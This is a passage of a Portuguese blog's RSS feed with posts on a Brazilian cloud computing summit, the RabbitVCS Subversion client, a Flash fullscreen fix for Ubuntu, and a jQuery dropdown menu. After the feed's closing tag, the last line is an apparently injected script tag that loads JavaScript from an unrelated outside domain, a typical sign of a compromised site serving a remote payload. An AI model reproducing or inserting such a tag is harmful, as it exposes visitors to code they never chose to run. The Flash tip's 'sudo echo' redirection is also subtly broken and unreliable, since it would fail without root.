<p><a  href="http://www.cloudsummit.com.br/"><img class="alignleft size-medium wp-image-203" title="Cloud Computing Summit Brasil 2010" src="http://marcos.blog.br/wp-content/uploads/2010/06/logo2_cloudsummit-300x213.png" alt="Cloud Computing Summit Brasil 2010" width="300" height="213" /></a></p>
<p>Em Agosto, acontecerá em São Paulo um evento focado em Cloud Computing chamado <a  href="http://www.cloudsummit.com.br" target="_blank"><strong>Cloud Computing Summit Brasil</strong></a>. Acredito eu que seja o primeiro evento de relevância no Brasil focado no assunto. Palestrantes:</p>
<p>Cezar Taurion (IBM)</p>
<p>Varia (Amazon Web Service)</p>
<p>Marcos Sinhoreli (Xen)</p>
<p>Francisco Gioielli (Google Apps)</p>
<p>Antônio Carlos Pina (Tecla Internet)</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/06/cloud-computing-e-o-novo-modelo-de-software/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ótimo Cliente Subversion para Linux</title>
		<link>http://marcos.blog.br/2010/06/otimo-cliente-subversion-para-linux/</link>
		<comments>http://marcos.blog.br/2010/06/otimo-cliente-subversion-para-linux/#comments</comments>
		<pubDate>Thu, 17 Jun 2010 18:44:06 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[Dicas]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Subversion]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=179</guid>
		<description><![CDATA[Para quem conhece o TortoiseSVN, cliente Subversion para Windows e, assim como eu, já estava habituado com as facilidades de não ter que usar linhas de comandos toda hora, para Linux existe um cliente chamado RabbitVCS que trás telas semelhantes, é integrado com o Nautilus e com suporte a vários idiomas. Prático e rápido. Ele também ]]></description>
			<content:encoded><![CDATA[<p>Para quem conhece o<strong> </strong><strong><a  href="http://tortoisesvn.tigris.org/" target="_blank">TortoiseSVN</a><span style="font-weight: normal;">, cliente </span>Subversion</strong> para Windows e, assim como eu, já estava habituado com as facilidades de não ter que usar linhas de comandos toda hora, para Linux existe um cliente chamado <a  href="http://www.rabbitvcs.org/" target="_blank"><strong>RabbitVCS</strong></a> que trás telas semelhantes, é integrado com o <strong>Nautilus</strong> e com suporte a vários idiomas. Prático e rápido.</p>
<p>Ele também coloca aquele ícone nas pastas/arquivos para mostrar quais arquivos foram modificados, ignorados, etc. O que é bastante produtivo.</p>
<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/06/screenshot-context-menu.png" rel="lightbox[179]" title="screenshot-context-menu"><img class="alignnone size-full wp-image-180" title="screenshot-context-menu" src="http://marcos.blog.br/wp-content/uploads/2010/06/screenshot-context-menu.png" alt="RabbitVCS" width="372" height="251" /></a></p>
<p>Suporta várias distribuições.</p>
<p><a  href="http://wiki.rabbitvcs.org/wiki/download" target="_blank">Clique aqui para escolher a distribuição e fazer o download.</a></p>
<p>Se você usa <strong>Ubuntu</strong> (Karmic and Lucid), segue o <strong>PPA</strong>:</p>
<p>ppa:rabbitvcs/ppa</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/06/otimo-cliente-subversion-para-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Acertando o FULLSCREEN do FLASH no UBUNTU 10.04</title>
		<link>http://marcos.blog.br/2010/06/acertando-o-fullscreen-do-flash-no-ubuntu-10-04/</link>
		<comments>http://marcos.blog.br/2010/06/acertando-o-fullscreen-do-flash-no-ubuntu-10-04/#comments</comments>
		<pubDate>Thu, 17 Jun 2010 02:08:32 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=176</guid>
		<description><![CDATA[Estava com problemas ao colocar um video Flash em FullScreen no Ubuntu e encontrei a solução no site omgubuntu de Londres: Digite no terminal: sudo mkdir /etc/adobe sudo echo \&#8221;OverrideGPUValidation = 1\&#8221; &#62;&#62; /etc/adobe/mms.cfg Pronto! Agora o Flash não vai mais ficar preto quando sair do Fullscreen]]></description>
			<content:encoded><![CDATA[<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/06/TuxFlash.png" rel="lightbox[176]" title="TuxFlash"><img class="size-medium wp-image-184 alignleft" title="TuxFlash" src="http://marcos.blog.br/wp-content/uploads/2010/06/TuxFlash-250x300.png" alt="" width="150" height="180" /></a>Estava com problemas ao colocar um video <strong>Flash</strong> em <strong>FullScreen</strong> no <strong>Ubuntu</strong> e encontrei a solução no site omgubuntu de Londres:</p>
<p>Digite no terminal:</p>
<p><em>sudo mkdir /etc/adobe<br />
sudo echo \&#8221;OverrideGPUValidation = 1\&#8221; &gt;&gt; /etc/adobe/mms.cfg</em></p>
<p>Pronto! Agora o Flash não vai mais ficar preto quando sair do Fullscreen.</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/06/acertando-o-fullscreen-do-flash-no-ubuntu-10-04/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Simples Menu DropDown com Jquery sem utlizar Plugin</title>
		<link>http://marcos.blog.br/2010/04/simples-menu-dropdown-com-jquery-sem-utlizar-plugin/</link>
		<comments>http://marcos.blog.br/2010/04/simples-menu-dropdown-com-jquery-sem-utlizar-plugin/#comments</comments>
		<pubDate>Wed, 21 Apr 2010 20:33:42 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[menu]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=168</guid>
		<description><![CDATA[Existem centenas de plugins para criação de menu dropdown para jQuery. Porém quando você quer algo bem simples, não há por que utilizar um plugin com sei lá quantos kb a mais. Então segue um simples código para resolver esta situação de forma bem simples: $(function(){ $('#id-do-item-pai, #sub-menu').mouseover(function(){ $('#sub-menu').css('display','block'); }).mouseout(function(){ $('#sub-menu').css('display','none'); }); }); E o ]]></description>
			<content:encoded><![CDATA[<p>Existem centenas de plugins para criação de menu dropdown para jQuery. Porém quando você quer algo bem simples, não há por que utilizar um plugin com sei lá quantos kb a mais.</p>
<p>Então segue um simples código para resolver esta situação de forma bem simples:</p>
<pre class="brush:javascript">
$(function(){
	$('#id-do-item-pai, #sub-menu').mouseover(function(){
		$('#sub-menu').css('display','block');
	}).mouseout(function(){
		$('#sub-menu').css('display','none');
	});
});
</pre>
<p>E o HTML seria algo como: </p>
<pre class="brush:html">
<li>
	<a  id="id-do-item-pai" href="#">Ítem Pai</a>
<ul id="sub-menu" style="display: none">
<li><a  href="#">Sub ítem 01</a></li>
<li><a  href="#">Sub ítem 02</a></li>
</ul>
</li>
</pre>
<p>Simples assim.</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/04/simples-menu-dropdown-com-jquery-sem-utlizar-plugin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>